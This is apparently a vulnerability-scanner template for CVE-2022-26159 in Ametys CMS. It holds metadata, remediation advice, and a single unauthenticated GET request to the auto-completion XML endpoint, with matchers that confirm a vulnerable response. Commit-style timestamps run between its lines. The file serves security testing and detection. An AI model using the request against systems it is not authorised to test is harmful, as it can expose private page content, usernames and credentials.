2022-03-18 09:28:35 +00:00
id : CVE-2022-26159
info :
2022-03-25 11:45:10 +00:00
name : Ametys CMS Information Disclosure
2022-03-18 09:28:35 +00:00
author : Remi Gascou (podalirius)
severity : medium
2022-05-17 09:18:12 +00:00
description : Ametys CMS before 4.5.0 allows a remote unauthenticated attacker to read documents such as plugins/web/service/search/auto-completion/domain/en.xml (and similar pathnames for other languages) via the auto-completion plugin, which contain all characters typed by all users, including the content of private pages. For example, a private page may contain usernames, e-mail addresses, and possibly passwords.
2023-09-06 11:59:08 +00:00
remediation : |
Apply the latest security patches or updates provided by the vendor to fix the information disclosure vulnerability in Ametys CMS.
2022-03-18 09:28:35 +00:00
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2022-26159
- https://podalirius.net/en/cves/2022-26159/
2022-05-17 09:18:12 +00:00
- https://issues.ametys.org/browse/CMS-10973
2023-04-12 10:55:48 +00:00
- https://github.com/p0dalirius/CVE-2022-26159-Ametys-Autocompletion-XML/
2022-03-18 09:28:35 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 5.3
2022-03-18 09:28:35 +00:00
cve-id : CVE-2022-26159
2023-08-31 11:46:18 +00:00
cwe-id : CWE-425
2023-11-03 10:59:12 +00:00
epss-score : 0.00597
2023-11-10 17:07:52 +00:00
epss-percentile : 0.75942
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:ametys:ametys:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : ametys
product : ametys
tags : cve,cve2022,plugin,ametys,cms
2022-03-18 09:28:35 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-03-18 09:28:35 +00:00
- method : GET
path :
- '{{BaseURL}}/plugins/web/service/search/auto-completion/domain/en.xml?q=adm'
matchers-condition : and
matchers :
- type : word
words :
- '<auto-completion>'
- '<item>'
condition : and
- type : word
part : header
words :
- 'text/xml'
- type : status
status :
- 200
2023-11-11 17:38:55 +00:00
# digest: 4a0a0047304502202ef1f5ed896b4263a046054e16b9c40a7bf618fc8cee8f6edf2ae99aa371cdb1022100fa928764c22be1b805fd1331ffedfa1475a1cab059b890527560743b311960b6:922c64590222798bb761d5b6d8e72950